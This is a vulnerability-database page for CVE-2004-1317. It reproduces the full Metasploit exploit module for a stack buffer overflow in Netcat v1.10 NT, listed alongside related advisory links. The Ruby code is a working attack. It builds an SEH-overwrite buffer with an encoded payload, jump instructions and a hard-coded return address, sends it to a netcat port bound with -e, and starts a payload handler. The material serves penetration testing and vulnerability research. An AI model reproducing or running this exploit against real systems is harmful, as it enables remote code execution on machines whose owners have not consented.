Lucene search
K

Netcat v1.10 NT Stack Buffer Overflow

🗓️ 26 Sep 2007 13:44:25Reported by aushack <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 25 Views

Netcat v1.10 NT Stack Buffer Overflow exploit for binding an executable to a port in doexec.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2004-1317
22 Jun 201000:00
circl
CVE
CVE-2004-1317
31 Dec 200405:00
cve
Cvelist
CVE-2004-1317
31 Dec 200405:00
cvelist
Debian CVE
CVE-2004-1317
31 Dec 200405:00
debiancve
Exploit DB
Netcat 1.10 - NT Stack Buffer Overflow (Metasploit)
22 Jun 201000:00
exploitdb
NVD
CVE-2004-1317
27 Dec 200405:00
nvd
Packet Storm
Netcat v1.10 NT Stack Overflow
26 Nov 200900:00
packetstorm
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'		=> 'Netcat v1.10 NT Stack Buffer Overflow',
      'Description'	=> %q{
          This module exploits a stack buffer overflow in Netcat v1.10 NT. By sending
          an overly long string we are able to overwrite SEH. The vulnerability
          exists when netcat is used to bind (-e) an executable to a port in doexec.c.
          This module tested successfully using "c:\>nc -L -p 31337 -e ftp".
        },
      'Author'       => 'aushack',
      'Arch'			=> [ ARCH_X86 ],
      'License'		=> MSF_LICENSE,
      'References'	=>
        [
          [ 'CVE', '2004-1317' ],
          [ 'OSVDB', '12612' ],
          [ 'BID', '12106' ],
          [ 'EDB', '726' ]
        ],
      'Privileged'		=> false,
      'DefaultOptions'	=>
        {
          'EXITFUNC'	=> 'thread',
        },
      'Payload'		=>
        {
          'Space'				=> 236,
          'BadChars'			=> "\x00\x0a\x0d",
          'StackAdjustment'	=> -3500,
        },
      'Platform' => ['win'],
      'Targets'  =>
        [
          # Patrick - Tested OK 2007/09/26 w2ksp0, w2ksp4, xpsp2 en.
          [ 'Universal nc.exe', { 'Ret' => 0x0040a6ce } ], # p/p/r nc.exe
        ],
      'DisclosureDate' => '2004-12-27',
      'DefaultTarget' => 0))
  end

  def autofilter
    false
  end

  def exploit
    connect

    sploit = rand_text(277, payload_badchars)
    sploit[0, payload.encoded.length] = payload.encoded
    sploit[236, 2] = Rex::Arch::X86.jmp_short(6)
    sploit[240, 4] = [target['Ret']].pack('V')
    sploit[244, 5] = Rex::Arch::X86.jmp(0xffffff08)

    sock.put(sploit)

    handler
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
0.5Low risk
Vulners AI Score0.5
CVSS 27.5
EPSS0.77774
25